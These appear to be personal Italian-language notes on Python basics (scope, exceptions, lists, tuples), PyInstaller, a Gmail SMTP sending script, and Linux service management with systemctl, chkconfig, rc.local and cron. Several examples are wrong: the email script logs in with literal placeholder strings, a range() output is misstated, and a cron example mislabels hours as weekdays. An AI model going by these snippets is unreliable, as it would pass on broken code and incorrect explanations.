*) Aggiungendo l'istruzione "global x" il programma funziona perche' la Funzione "funzione_esempio" assume la variabile globale "x" comese fosse stata precedentemente dichiarata al suo interno

-------------------------------------------------------------------------

Esempio 04:

x = 15

def funzione_esempio():

y = x

y += 2

return y

print(funzione_esempio())

------------------

>>> OUTPUT >>>

17

NOTA:

*) Anche senza l'istruzione "global" il programma funziona perche' il valore della variabile globale "x" e' stato assegnato alla variabile locale "y" (dichiarata come y = x). Quindi la funzione la elabora e ne restituisce il contenuto con l'istruzione "return y"

--------------------------------------------------------------------------

Esempio 05:

def funzione_esempio():

x = 24

 

y = x + 6

print(y)

------------------

>>> OUTPUT >>>

Traceback (most recent call last):

File "D:/python_lab_lenovo/localglobalsample.py", line 6, in <module>

y = x + 6

NameError: name 'x' is not defined

NOTA:

*) L'errore e' dovuto al fatto che l'ambiente global non riconosce la variabile "x" perche' e' stata dichiarata solo all'interno della Funzione

--------------------------------------------------------------------------------

Esempio 06:

def funzione_esempio():

x = 24

return x

 

y = funzione_esempio() + 10

print(y)

------------------

>>> OUTPUT >>>

34

NOTA:

*) Il contenuto della variabile locale "x" viene reso disponibile (tramite l'istruzione "return x") richiamando la Funzione "funzione_esempio".

----------------------------------------------------------------------

================================================================================

GESTIONE DI ERRORI ED ECCEZIONI

Una delle caratteristiche di forza del python risiede nel livello di dettaglio a livello di debugging degli errri da parte dell'interprete.

Python dispone di diverse istruzioni semplici e potenti per la gestione delle eccezioni.

Queste istruzioni si rivelano indispensabili soprattutto quando il programma deve richiedere l'inserimento di dati da parte dell'utente.

Ipotiziamo che un programma debba richiedere all'utente di inserire un numero per poi effettuare un'operazione matematica, e che l'utente invece inavvertitamente inserisca caratteri alfabetici.

Nell'esempio, le istruzione racchiuse dal comando "try:" vengono eseguite normalmente se non ci sono errori.

Nel caso l'utente inserisca dati errati, tramite l'istruzione "except nomeerrore:" si definisce il messaggio da restituire all'utente (o qualsiasi altra operazione). All'istruzione except deve seguire il nome relativo al tipo di errore che ci si attende. Per esempio, se il programma deve eseguire una divisione e c'è quindi il rischio di incappare in una divisione per zero, si utilizzera' l'istruzione "except ZeroDivisionError:"

Ovviamente e' possibile dichiarare piu' istruzioni di tipo "except", una per ogni tipo di errore ipotizzabiile (vedi Esempio 02)

L'istruzione "finally" invece viene eseguita sempre e comunque alla conclusione del programma sia in presenza che in assenza di errori.

 

Esempio 01:

def moltiplicatore():

try:

a = int(input('Inserisci il valore di a: '))

b = int(input('Inserisci il valore di b: '))

risultato = a * b

print(risultato)

except ValueError:

print('\nInserire solo valori numerici\n')

finally:

print('Uscita dall\'applicazione. Grazie per la preferenza')

moltiplicatore()

NOTA:

*) Se l'utente inserisce numeri il programma eseguira' cio che e' contenuto nel tag "try:"

Se invece l'utente inserisce caratteri diversi da numeri, l'interprete restituira' un errore di tipo "ValueError", ed il programma eseguira' cio che e' contenuto nel tag "except ValueError:"

In ogni caso verra' sempre e comunque eseguito il codice racchiuso nel tag "finally" che, in questo caso specifico, visualizzera' un messaggio di ringraziamento.

----------------------------------------------------------------------------

Esempio 02:

def moltiplicatore():

try:

a = int(input('Inserisci il valore di a: '))

b = int(input('Inserisci il valore di b: '))

risultato = a / b

print(risultato)

except ValueError:

print('\nInserire solo valori numerici\n')

except ZeroDivisionError:

print('\nERRORE: Divisione per zero. Inserire un valore diverso da zero per la variabile B !!!!\n')

finally:

print('Uscita dall\'applicazione. Grazie per la preferenza')

moltiplicatore()

NOTA:

*) Se l'utente inserisce numeri il programma eseguira' cio che e' contenuto nel tag "try:"

Se invece l'utente inserisce caratteri diversi da numeri, l'interprete restituira' un errore di tipo "ValueError", ed il programma eseguira' cio che e' contenuto nel tag "except ValueError:"

Se l'utente inserisce "0" come valore per la variabile b, l'interprete restituira' un errore di tipo "ZeroDivisionError", ed il programma eseguira' cio che e' contenuto nel tag "except ZeroDivisionError:"

In ogni caso verra' sempre e comunque eseguito il codice racchiuso nel tag "finally" che, in questo caso specifico, visualizzera' un messaggio di ringraziamento.

=========================================================================

LISTE STRINGHE E TUPLE

*) Le Liste sono un tipo di VARIABILE che contiene al suo interno un insieme di dati uguali o diversi tra di loro, ordinati in base ad un indice proprio della Lista stessa.

*) Le liste sono sempre racchiuse tra parentesi quadre []

*) Gli elementi all'interno delle liste sono separati da virgola e spazio

*) Ad ogni elemento di una lista viene assegnato un numero di indice che permette di identificarlo.

Il primo elemento di una lista e' sempre il numero 0 (zero)

Esempio:

elenco = [3, 7, "stringa", 7.65, "altra stringa"]

*) Nell'esempio precedente "elenco" e' il nome della Lista (come con le variabili)

*) 3 e' l'elemento con indice 0

*) 7 e' l'elemento con indice 1

*) "stringa" e' l'elemento con indice 2

*) 7.65 e' l'elemento con indice 3

*) "altra stringa" e' l'elemento con indice 4

*) I numeri di indice permettono di richiamare il dato ad esso relativo.

Esempio:

lista[2]

-----

>>> "stringa"

*) Se utilizziamo invece un indice negativo possiamo accedere agli elementi della lista dalla fine all'inizio, utilissimo ad esempio in caso di Liste particolarmente lunghe. L'ultimo elemento ha sempre indice -1, il penultimo -2 e così via...

Esempio:

elenco[-2]

-----

>>> 7.65

*) Questo sistema di indicizzazione offre la possibilità di accedere a un gruppo di elementi consecutivi, impostando un punto iniziale e un punto finale nell'indice.

NOTA: L'ultimo elemento del range NON viene MAI incluso

Esempio:

primi = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47]

primi[4:10]

------

>>> [11, 13, 17, 19, 23, 29]

 

Esempio:

gruppo = primi[4:10]

gruppo

----

>>> [11, 13, 17, 19, 23, 29]

 

*) E' possibile impostare questo indice variabile anche in modo da farlo iniziare, o terminare, con l'inizio oppure la fine della lista, utilizzando due punti:

Esempio:

primi[10:]

---

>>> [31, 37, 41, 43, 47]

 

Esempio:

primi[:5]

---

>>> [2, 3, 5, 7, 11]

 

*) E' anche possibi utilizzare le liste nei cicli for:

Esempio:

for primo in primi:

print(primo)

---

>>>

2

3

5

7

11

... etc

*) E' anche possibile creare Liste a partire dalla Funzione range() mediante la Funzione di supporto list(), che converte elementi in Liste.

Esempio:

subnet_24 = list(range(1, 254))

print(subnet_24)

---

>>>

[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, ... 254]

 

*) Una lista puo' contenere al suo interno anche una o più liste.

Esempio:

lista_multipla = ["spam", "eggs", 23, "bacon", [1, 2, 3, 4, 5], 3]

var1 = lista_multipla[4]

print(var1)

---

>>> [1, 2, 3, 4, 5]

 

Esempio:

lista_multipla = ["spam", "eggs", 23, "bacon", [1, 2, 3, 4, 5], 3]

var1 = lista_multipla[-2]

print(var1)

---

>>> [1, 2, 3, 4, 5]

 

*) Possiamo inoltre richiamare l'elemento di una lista contenuta in un'altra lista.

Nel prossimo esempio si richiama il Quinto elemento della variabile "lista_multipla" (l'altra lista appunto) e, da essa, l'elemento -3 (il carattere "3")

Esempio:

lista_multipla = ["spam", "eggs", 23, "bacon", [1, 2, 3, 4, 5], 3]

var1 = lista_multipla[4][-3]

print(var1)

---

>>>

3

 

*) Utilizzando gli indici possiamo anche sostituire un elemento della Lista.

Nel prossimo esempio andremo a sostituire la stringa "bacon" con la parola "pancetta"

Esempio:

lista_multipla = ["spam", "eggs", 23, "bacon", [1, 2, 3, 4, 5], 3]

lista_multipla [3] = "pancetta"

var1 = lista_multipla[3]

print(var1)

---

>>>

pancetta

 

*) In modo analogo possiamo ELIMINARE elementi di una lista utilizzando gli indici. Nel prossimo esempio eliminiamo la Lista contenuta in "lista_multipla"

Esempio:

lista_multipla = ["spam", "eggs", 23, "bacon", [1, 2, 3, 4, 5], 3]

del lista_multipla [-2]

print(lista_multipla)

---

>>>

['spam', 'eggs', 23, 'bacon', 3]

 

*) Come le Stringhe, anche le Liste e le Tuple possono essere concatenate, tramite l'operatore + (piu), o moltiplicate tramite l'operatore * (asterisco)

Esempio Liste:

a = [1, 2, 'tre']

b = [4, 5, 'sei']

print(a + b)

---

>>>

[1, 2, 'tre', 4, 5, 'sei']

 

Esempio Liste:

a = ['un', 'due', 'tre']

print(a * 3)

---

>>>

['un', 'due', 'tre', 'un', 'due', 'tre', 'un', 'due', 'tre']

 

Esempio Stringhe:

a = "1 2 tre "

b = "4 5 sei "

print(a + b)

---

>>>

1 2 tre 4 5 sei

 

Esempio Stringhe:

a = "un due tre "

print(a * 3)

---

>>>

un due tre un due tre un due tre

 

*) Le TUPLE sono del tutto simili alle Liste ma vengono definite racchiudendo gli elementi che le compongono tra parentesi tonde () oppure senza alcuna parentesi.

*) Anche le Tuple gestiscono gli elementi tramite l'indice ma, al contrario delle Liste, gli elementi di una Tuple NON POSSONO ESSERE MODIFICATI o CANCELLATI.

*) Nelle Tuple l'iterazione tra gli elementi avviene molto più velocemente che nelle Liste.

Esempio:

tuple = (2, 4, 6, 8,10)

del tuple [1]

print(tuple)

---

>>>

del tuple [1]

TypeError: 'tuple' object doesn't support item deletion

 

*) Le Tuple vengono utilizzate in quelle situazioni in cui è molto importante che un elenco sia immutabile, oppure quando si ha bisogno che l'esecuzione del codice sia molto veloce.

 

*) Tutto quello che finora e' stato detto sulle Liste, VALE ANCHE PER LE STRINGHE

Esempio:

stringa = "aroma"

lettera = stringa[1:5]

# oppure lettera = stringa[1:]

print(lettera)

---

>>>

roma

 

*) Gli Operatori IN e NOT IN permettono di controllare se un elemento o un carattere è presente all'interno di una Lista o Stringa. Questi operatori restituiscono valori Booleani, True o False.

Esempio:

stringa = "aroma"

if "r" in stringa:

print("La lettera r e\' presente nella stringa")

else:

print("La lettera r non e\' presente nella stringa")

---

>>>

La lettera r e' presente nella stringa

 

Esempio:

stringa = "aroma"

if "b" in stringa:

print("La lettera b e\' presente nella stringa")

else:

print("La lettera b non e\' presente nella stringa")

---

>>>

La lettera b non e' presente nella stringa

 

 

*) La Funzione len() permette di contare il numero di elementi contenuti in una Lista, una Tuple o una Stringa.

 

Esempio:

stringa = "aroma"

str_len = len(stringa)

print(str_len)

---

>>>

5

 

*) Nel prossimo esempio utilizzeremo la funzione len() per invertire una data stringa.

Esempio:

stringa = "aroma"

def inverti(stringa):

indice = (len(stringa) -1)

stringa_inv = ""

while indice >= 0:

stringa_inv += stringa[indice]

indice -= 1

print(stringa_inv)

inverti(stringa)

---

>>>

amora

NOTA:

*) Il "-1" nell'istruzione "indice = (len(stringa) -1)" e' necessario perchè la numerazione degli indici parte da 0 quindi, se il numero totale degli elementi è pari a 5, l'ultimo di questi elementi avra' come indice 4

---------------------------------------------------------

METODI DELLE LISTE

*) Sintassi dei metodi

nomelista.nome_metodo(eventuali parametri)

*) Definiamo una lista (che chiameremo valigia) per gli esempi successivi:

valigia = ["costume", "accappatoio", "ciabatte", "medicine"]

 

METODO APPEND

*) Con il metodo append possiamo aggiungere elementi alla fine di una lista.

ESEMPIO:

valigia.append("occhiali")

*) Se controlliamo ora il contenuto della lista valigia troveremo:

>>> valigia

["costume", "accappatoio", "ciabatte", "medicine", "occhiali"]

*) Combinando append() con la funzione input possiamo scrivere un semplice codice che ci permette di inserire voci alla lista:

ESEMPIO:

def inserisci():

valigia = []

oggetto = ""

while True:

oggetto = input('Specificare l\'oggetto da aggiungere in valigia. (fine per concludere)')

if oggetto == "fine":

break

else:

valigia.append(oggetto)

print("Contenuto valigia: \n" + str(valigia))

inserisci()

---

>>>

Specificare l'oggetto da aggiungere in valigia. (fine per concludere)ciabatte

Specificare l'oggetto da aggiungere in valigia. (fine per concludere)costume

Specificare l'oggetto da aggiungere in valigia. (fine per concludere)farmaci

Specificare l'oggetto da aggiungere in valigia. (fine per concludere)fine

Contenuto valigia:

['ciabatte', 'costume', 'farmaci']

Process finished with exit code 0

 

METODO EXTEND extend()

*) Supponiamo di avere due liste, chiamate lista_a e lista_b, e di voler aggiungere gli elementi di lista_b a quelli presenti in lista_a. Possiamo utilizzare il metodo extend() per questo scopo:

>>> lista_a = ["pippo", "pluto", "giacobbe"]

>>> lista_b = ["spam", "eggs", "bacon"]

>>> lista_a.extend(lista_b)

>>> lista_a

['pippo', 'pluto', 'giacobbe', 'spam', 'eggs', 'bacon']

 

METODO REMOVE remove()

*) Permette di eliminare elementi dalla lista utilizzando il contenuto (o valore) dell'elemento che vogliamo rimuovere.

*) Il metodo remove() non permette di eliminare un elemento della lista utilizzando il suo indice.

ESEMPIO:

>>> lista = ["campo 0", "campo 1", "campo 2", "campo 3"]

>>> lista.remove("campo 2")

>>> lista

['campo 0', 'campo 1', 'campo 3']

>>> lista.remove(1)

Traceback (most recent call last):

File "<pyshell#3>", line 1, in <module>

lista.remove(1)

ValueError: list.remove(x): x not in list

*) Nel caso ci fosse la necessità di eliminare un elemento della lista identificandolo tramite l'indice, si deve usare l'istruzione "del"

>>> del lista[1]

>>> lista

['campo 0', 'campo 3']

 

METODO POP pop()

*) Rimuove l'ultimo elemento di una lista

>>> lettere = ["a", "b", "c", "x", "y", "z"]

>>> lettere.pop()

'z'

>>> lettere

['a', 'b', 'c', 'x', 'y']

 

METODO SORT sort()

*) Elenca in ordine alfabetico o numerico gli elementi di una lista.

ESEMPIO:

>>> alfabeto = ["x", "z", "c", "y", "a", "b"]

>>> alfabeto.sort()

>>> alfabeto

['a', 'b', 'c', 'x', 'y', 'z']

>>>

>>> numerazione = [8, 4, 1, 64, 2, 128, 32, 16]

>>> numerazione.sort()

>>> numerazione

[1, 2, 4, 8, 16, 32, 64, 128]

*) E' possibile invertire l'ordine sia numerico che alfabetico in 2 modi:

1) Tramite il parametro "reverse" da passare al metodo sort()

-) In questo modo gli elementi della lista vengono non solo invertiti tra loro ma anche ordinati al contrario (da z ad a per le liste alfabetiche e dal maggiore al minore per le liste numeriche)

2) Tramite il metodo reverse()

-) In questo modo gli elementi della lista vengono solamente invertiti tra loro ma NON ordinati in base alle convenzioni numeriche o alfabetiche

ESEMPIO Modo 1 (parametro reverse): INVERTE ed ORDINA da z ad a e dal numero maggiore al minore

>>> alfabeto = ["x", "z", "c", "y", "a", "b"]

>>> alfabeto.sort(reverse=True)

>>> alfabeto

['z', 'y', 'x', 'c', 'b', 'a']

>>>

>>> numerazione = [8, 4, 1, 64, 2, 128, 32, 16]

>>> numerazione.sort(reverse=True)

>>> numerazione

[128, 64, 32, 16, 8, 4, 2, 1]

 

ESEMPIO Modo 2 (metodo reverse): INVERTE MA NON ORDINA ne in ordine alfabetico ne numerico

>>> alfabeto = ["x", "z", "c", "y", "a", "b"]

>>> alfabeto.reverse()

>>> alfabeto

['b', 'a', 'y', 'c', 'z', 'x']

>>>

>>> numerazione = [8, 4, 1, 64, 2, 128, 32, 16]

>>> numerazione.reverse()

>>> numerazione

[16, 32, 128, 2, 64, 1, 4, 8]

*) NOTA: Sia il metodo sort che reverse NON possono essere utilizzati in presenza di liste che contengono sia numeri che lettere

 

METODO INDEX index()

*) Restituisce l'indice lista relativo all'elemento specificato come parametro

ESEMPIO:

>>> alfabeto = ["x", "z", "c", "y", "a", "b"]

>>> alfabeto.index("a")

4

>>>

>>> numerazione = [1, 2, 4, 8, 16, 32, 64, 128]

>>> numerazione.index(16)

4

 

METODO INSERT insert()

*) Aggiunge un elemento alla lista in corrispondenza di uno specifico indice della lista stessa; i valori della lista si sposteranno quindi di posizione per fare spazio a questo nuovo valore. Insert ci fornisce quindi un maggiore controllo rispetto al metodo append().

ESEMPIO: Inserire la lettera "d" tra le lettere "c" ed "e"

>>> alfabeto = ["a", "b", "c", "e"]

>>> alfabeto.insert(3,"d")

>>> alfabeto

['a', 'b', 'c', 'd', 'e']

 

ESEMPIO: Inserire il numero 32 tra il 16 e il 64

>>> numerazione = [1, 2, 4, 8, 16, 64, 128]

>>> numerazione.insert(5,32)

>>> numerazione

[1, 2, 4, 8, 16, 32, 64, 128]

*) Negli esempi precedenti i numeri tra parentesi definiscono rispettivamente il numero di indice in cui si vuole collocare l'elemento, ed il dato da inserire nella lista. Ovviamente se il dato e' una stringa va messo tra apici ""

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

==================================================================

PYINSTALLER

(TRASFORMARE I CODICI SORGENTE IN FILE BINARI ESEGUIBILI MA NON LEGGIBILI)

PYINSTALLER 3.2 con PYTHON 2.7

*) Scaricare l'archivio compresso dal sito ufficiale

http://www.pyinstaller.org/PyInstaller-3.2.tar.gz

*) Click con il tasto Sx e selezionare "Extract to"

*) Scegliere il percorso dove estrarre i file

Per estrarre i file dall'archivio si puo in alternativa utilizzare il comando

tar xzvf /percorsochevuoi

*) Aprire una shell con privilegi root

sudo -s

*) Portarsi nella cartella creata e installare pyinstaller 3.2 con il comando

python setup.py install

*) Se non ci sono problemi pyinstaller si installerà correttamente e da quel momento

potremo lanciarlo da qualsiasi posizione.

I binari si sistema sono salvati in:

/usr/local/bin

/usr/lib/python2.7/dist-packages

UTILIZZO

Per trasformare uno script python in un file binario eseguibile:

*) Apriamo una shell root

*) Spostiamoci nella cartella che contiene lo script python:

root@raspberrypi:/home# cd /SiTIn/exec

*) E dare il comando:

pyinstaller driver.py

*) Saranno create una serie di cartelle, spostarsi nella cartella dist/driver

cd /SiTIn/exec/dist/driver

*) In questa cartella è presente il file binario eseguibile con nome "driver" (senza estensione)

per lanciarlo basta dare il comando:

./driver -s 80 -cc -w 0.01

Notare che anche in forma di binario eseguibile il programma accetta i parametri definiti tramite

le istruzioni "argparse"

Se si vuole spostare il file eseguibile in altra posizione è necessario spostare anche tutti

gli altri file contenuti nella cartella

============================================================================================

CODICI ESEMPI:

inviamail-gmail-devel01.py

------------------------------------------------------

# Python

# Riferimanto in sviluppo: inviamail-gmail-devel01.py

import smtplib

import argparse

parser = argparse.ArgumentParser()

#parser.add_argument("-s", "--smtp", type=str, help="IP Address o FQNDN del Server SMTP")

parser.add_argument("-m", "--mittente", type=str, help="Indirizzo email del Mittente")

parser.add_argument("-d", "--destinatario", type=str, help="Indirizzo email del Destinatario")

parser.add_argument("-a", "--account", type=str, help="Username Account")

parser.add_argument("-p", "--password", type=str, help="Password")

parser.add_argument("-o", "--oggetto", type=str, help="Oggetto della Mail")

parser.add_argument("-t", "--testo", type=str, help="Testo del messaggio")

args = parser.parse_args()

#smtp = args.smtp

mittente = args.mittente

destinatario = args.destinatario

account = args.account

password = args.password

oggetto = args.oggetto

testo = args.testo

messaggio = oggetto + "\n\n" + testo

#oggetto = "Subject: Urgente! da leggere subito\n\n"

#testo = "Connettiti al Server che e' meglio\nDammi retta\nMUOVITI !!!!"

email = smtplib.SMTP("smtp.gmail.com", 587)

email.ehlo()

email.starttls()

email.login("account", "password")

email.sendmail(mittente,destinatario,messaggio)

email.quit()

------------------------------------------------------

===============================================================

000000000000000000000000000000000000000000000000000000000000000

===============================================================

 

OPERAZIONI SERVIZI E SISTEMA

SYSTEMCTL (systemctl)

*) Visualizzare tutti i servizi in esecuzione

systemctl

# Avvio di servizi (es. httpd)

systemctl start httpd

# oppure

service httpd start

*) Arresto di servizi (es. httpd)

systemctl stop httpd

# oppure

service httpd stop

*) Riavvio di servizi (es. httpd)

systemctl restart httpd

# oppure

service httpd restart

*) Riavvio del Demone (ricostruisce l'albero delle dipendenze)

systemctl daemon-reload

*) visualizzare lo stato di un servizio, il PID e la posizione

systemctl status httpd

*) Abilitare avvio del servizio in fase di boot

systemctl enable httpd

*) Disabilitare avvio del servizio in fase di boot

systemctl disable httpd

*) Mostrare il log di sistema

journalctl

*) Mostrare i log per uno specifico servizio

journalctl /usr/bin/eseguibile-del-servizio

# oppure

journalctl _PID=XXXX # il PID si può ricavare tramite il comando systemctl status

---------------------------------------------------

CHKCONFIG (chkconfig) - Abilita autostart (esecuzione automatica) servizi all'avvio (boot)

*) Nei sistemi più datati è possibile che non sia disponibile il systemctl enable. In questo caso si utilizza chkconfig.

chkconfig permette di specificare il servizio da startare al boot in relazione ai vari runlevel

UTILIZZO E OPZIONI

*) Help del comando

[root@dbsidtcert02 user]# chkconfig --help

chkconfig version 1.3.49.3 - Copyright (C) 1997-2000 Red Hat, Inc.

This may be freely redistributed under the terms of the GNU Public License.

usage: chkconfig [--list] [--type <type>] [name]

chkconfig --add <name>

chkconfig --del <name>

chkconfig --override <name>

chkconfig [--level <levels>] [--type <type>] <name> <on|off|reset|resetpriorities>

-----------------------------------------------------------------------------------

*) Visualizzare la lista dei processi

[root@dbsidtcert02 user]# chkconfig --list

PowerFcoe 0:off 1:off 2:off 3:on 4:off 5:on 6:off

PowerIscsi 0:off 1:off 2:off 3:on 4:off 5:on 6:off

PowerMig 0:off 1:off 2:off 3:on 4:off 5:on 6:off

PowerMigRecoverAll 0:off 1:off 2:off 3:on 4:off 5:on 6:off

abrt-ccpp 0:off 1:off 2:off 3:on 4:off 5:on 6:off

abrtd 0:off 1:off 2:off 3:on 4:off 5:on 6:off

acpid 0:off 1:off 2:on 3:on 4:on 5:on 6:off

atd 0:off 1:off 2:off 3:on 4:on 5:on 6:off

auditd 0:off 1:off 2:on 3:on 4:on 5:on 6:off

autofs 0:off 1:off 2:off 3:on 4:on 5:on 6:off

blk-availability 0:off 1:on 2:on 3:on 4:on 5:on 6:off

cgconfig 0:off 1:off 2:off 3:off 4:off 5:off 6:off

cgred 0:off 1:off 2:off 3:off 4:off 5:off 6:off

cpuspeed 0:off 1:on 2:on 3:on 4:on 5:on 6:off

crond 0:off 1:off 2:on 3:on 4:on 5:on 6:off

cups 0:off 1:off 2:on 3:on 4:on 5:on 6:off

haldaemon 0:off 1:off 2:off 3:on 4:on 5:on 6:off

ip6tables 0:off 1:off 2:off 3:off 4:off 5:off 6:off

ipmi 0:off 1:off 2:off 3:off 4:off 5:off 6:off

ipmievd 0:off 1:off 2:off 3:off 4:off 5:off 6:off

iptables 0:off 1:off 2:off 3:off 4:off 5:off 6:off

irqbalance 0:off 1:off 2:off 3:on 4:on 5:on 6:off

iscsi 0:off 1:off 2:off 3:on 4:on 5:on 6:off

iscsid 0:off 1:off 2:off 3:on 4:on 5:on 6:off

kdump 0:off 1:off 2:off 3:on 4:on 5:on 6:off

lvm2-monitor 0:off 1:on 2:on 3:on 4:on 5:on 6:off

mcelogd 0:off 1:off 2:off 3:on 4:off 5:on 6:off

mdmonitor 0:off 1:off 2:on 3:on 4:on 5:on 6:off

messagebus 0:off 1:off 2:on 3:on 4:on 5:on 6:off

multipathd 0:off 1:off 2:off 3:off 4:off 5:off 6:off

naviagent 0:off 1:off 2:off 3:on 4:on 5:on 6:off

netconsole 0:off 1:off 2:off 3:off 4:off 5:off 6:off

netfs 0:off 1:off 2:off 3:on 4:on 5:on 6:off

network 0:off 1:off 2:on 3:on 4:on 5:on 6:off

nfs 0:off 1:off 2:off 3:off 4:off 5:off 6:off

nfslock 0:off 1:off 2:off 3:on 4:on 5:on 6:off

nscd 0:off 1:off 2:off 3:off 4:off 5:off 6:off

nslcd 0:off 1:off 2:off 3:off 4:off 5:off 6:off

ntpd 0:off 1:off 2:on 3:on 4:on 5:on 6:off

ntpdate 0:off 1:off 2:off 3:off 4:off 5:off 6:off

numad 0:off 1:off 2:off 3:off 4:off 5:off 6:off

portreserve 0:off 1:off 2:on 3:on 4:on 5:on 6:off

postfix 0:off 1:off 2:on 3:on 4:on 5:on 6:off

psacct 0:off 1:off 2:off 3:off 4:off 5:off 6:off

quota_nld 0:off 1:off 2:off 3:off 4:off 5:off 6:off

rdisc 0:off 1:off 2:off 3:off 4:off 5:off 6:off

restorecond 0:off 1:off 2:off 3:off 4:off 5:off 6:off

rhnsd 0:off 1:off 2:on 3:on 4:on 5:on 6:off

rhsmcertd 0:off 1:off 2:off 3:on 4:on 5:on 6:off

rngd 0:off 1:off 2:off 3:off 4:off 5:off 6:off

rpcbind 0:off 1:off 2:on 3:on 4:on 5:on 6:off

rpcgssd 0:off 1:off 2:off 3:on 4:on 5:on 6:off

rpcidmapd 0:off 1:off 2:off 3:on 4:on 5:on 6:off

rpcsvcgssd 0:off 1:off 2:off 3:off 4:off 5:off 6:off

rsyslog 0:off 1:off 2:on 3:on 4:on 5:on 6:off

saslauthd 0:off 1:off 2:off 3:off 4:off 5:off 6:off

smartd 0:off 1:off 2:off 3:off 4:off 5:off 6:off

snmpd 0:off 1:off 2:off 3:off 4:off 5:off 6:off

snmptrapd 0:off 1:off 2:off 3:off 4:off 5:off 6:off

sshd 0:off 1:off 2:on 3:on 4:on 5:on 6:off

sssd 0:off 1:off 2:off 3:off 4:off 5:off 6:off

sysstat 0:off 1:on 2:on 3:on 4:on 5:on 6:off

udev-post 0:off 1:on 2:on 3:on 4:on 5:on 6:off

winbind 0:off 1:off 2:off 3:off 4:off 5:off 6:off

xinetd 0:off 1:off 2:off 3:on 4:on 5:on 6:off

xinetd based services:

chargen-dgram: off

chargen-stream: off

daytime-dgram: off

daytime-stream: off

discard-dgram: off

discard-stream: off

echo-dgram: off

echo-stream: off

rsync: off

tcpmux-server: off

time-dgram: off

time-stream: off

---------------------------------------------------------------------

*) Esempio: Impostare esecuzione automatica (autostart) del demone sssd all'avvio (boot) della macchina per i runlevel 3, 4 e 5

[root@dbsidtcert02 user]# chkconfig --level 3 sssd on

[root@dbsidtcert02 user]# chkconfig --level 4 sssd on

[root@dbsidtcert02 user]# chkconfig --level 5 sssd on

*) Per verificare i cambiamenti basta visualizzare nuovamente la lista

[root@dbsidtcert02 user]# chkconfig --list

...

sssd 0:off 1:off 2:off 3:on 4:on 5:on 6:off

...

*) Per praticità abbiamo omesso il resto dell'output ma confrontando la riga sssd nell'output completo precedente si vede subito che ora il servizio sssd e' abilitato (on) per i runlevel 3, 4 e 5.

Riferimento web: https://turbolab.it/linux-27/esecuzione-automatica-linux-ubuntu-centos-come-avviare-automaticamente-programma-accensione-computer-539

--------------------------------------------------------------------------

*) Di seguito una piccola guida sulle proprieta' dei vari RUNLEVEL

0) RUNLEVEL 0 = serve ad arrestare (halt) il sistema. Nessun programma è in esecuzione (e la macchina è spenta).

1) RUNLEVEL 1 = (Single user mode): Nessun programma in esecuzione in background, e nessun utente oltre all'amministratore ha accesso al sistema, per cui esso è sotto il suo pieno controllo. È utile, ad esempio, per eseguire attività di manutenzione come controlli sui dischi o aggiornare file di sistema, dato che vi è la certezza che nessun processo li stia utilizzando e che nessun utente possa intervenire all'insaputa dell'amministratore.

2) RUNLEVEL 2 = Avvia la macchina in modalità multiutente con il networking abilitato, ma senza servizi di rete

3) RUNLEVEL 3 = NON GUI solo CLI. Avvia la macchina in modalità multiutente con tutte le funzionalità di networking abilitate, e con tutti i relativi servizi attivi.

4) RUNLEVEL 4 (Custom SysAdmin) = generalmente non è utilizzato

5) RUNLEVEL 5 = GUI (X11-Server) Avvia in modalità multiutente con tutte le funzionalità di networking abilitate come il runlevel 3, e con un server grafico (quasi sempre X Window System) abilitato

6) RUNLEVEL 6 = Serve a riavviare (reboot) il sistema. È simile al runlevel 0, con la differenza che al termine dell'inizializzazione, la macchina viene riavviata piuttosto che spenta.

Riferimento web: https://it.wikipedia.org/wiki/Runlevel

===============================================================

000000000000000000000000000000000000000000000000000000000000000

===============================================================

 

/etc/rc.local - Abilita autostart (esecuzione automatica) servizi all'avvio (boot)

*) Un ulteriore modo (NON consigliato) per impostare l'avvio automatico di un servizio o di un software al boot, consiste nell'inserire il path assoluto dell'applicativo nel file rc.local

Esempio: Lanciare un nostro script all'avvio di linux

vim /etc/rc.local

*) Una volta editato il file (con vim o con altro editor preferito) inseriamo semplicemente il percorso ed il nome del file che vogliamo far eseguire all'avvio della macchina:

/home/username/mioscript.sh

*) Salviamo il file (in vim con :wq!) ed al prossimo riavvio sara' lanciato automaticamente lo script designato.

----------------------------------------------------------------

CRON CRONTAB

crontab -u username -opzione

OPZIONI

-u username ===> specifica il proprietario del processo crontab in questione. Se -u è omessa si modificherà il crontab dell'utente che ha lanciato il comando

-l ===> Elenca tutti i processi schedulati

-r ===> Rimuove tutti i processi schedulati

-e ===> Edita e modifica tutti i processi schedulati

NOTA: A volte, se si prova a creare un nuovo crontab con utenza non privilegiata (non root) restituisce un errore. Per creare una nuova istanza di crontab per un utente, prima bisogna diventare root (sudo -s) e poi dare il comando:

crontab -u nomeutente -e

Si aprira' una pagina bianca dell'editor di testo standard (vi) nella quale inserire una o piu' entry.

Per salvare le modifiche (nel caso di vi) digitare

:wq!

SINTASSI CRON

* * * * * /Percorso/script/da-eseguire/script.xx

* 1 = Minuto (0-59)

* 2 = Ora (0-23)

* 3 = Giorno del mese (1-31)

* 4 = Mese (1-12)

* 5 = Giorno della Settimana (0-7)

0 = 7 = Domenica

1 = Lunedi

2 = Martedi

3 = Mercoledi

4 = Giovedi

5 = Venerdi

6 = Sabato

L'utilizzo dell'asterisco (*) significa "tutti". Se quindi lo utilizziamo al posto del giorno del mese, ad esempio, il comando verrà eseguito tutti i giorni del mese.

Alcune versioni di cron supportano l'operatore slash (/) che viene utilizzato per pianificare delle ripetizioni. Facciamo un esempio:

*/10 * * * * /usr/bin/updatedb

Nel nostro esempio il valore dei minuti è stato impostato come */10; ciò significa che la nostra operazione sarà eseguita ogni 10 minuti.

E' anche possibile specificare degli intervalli: per farlo si usa il trattino (-). Facciamo un esempio:

00 15 1-4 * * /usr/bin/updatedb

Nel nostro esempio l'operazione verrà eseguita alle 15:00 nei primi quattro giorni di ogni mese.

Oltre a slash e trattino possiamo usare anche la virgola (,) la quale viene utilizzata per specificare un elenco. Facciamo un esempio:

30 18 1 3,6,9 * /usr/bin/updatedb

Nel nostro esempio l'operazione verrà eseguita alle 18:30 del primo giorno del mese di marzo (3), giugno (6) e settembre (9).

Esempio: Lancia script_MIT.sh TUTTI i GIORNI (0-7) ogni 10 minuti (5,15,25..etc)

5,15,25,35,45,55 0-7 * * * /usr/local/scripts/script_MIT.sh

STRINGHE SPECIALI

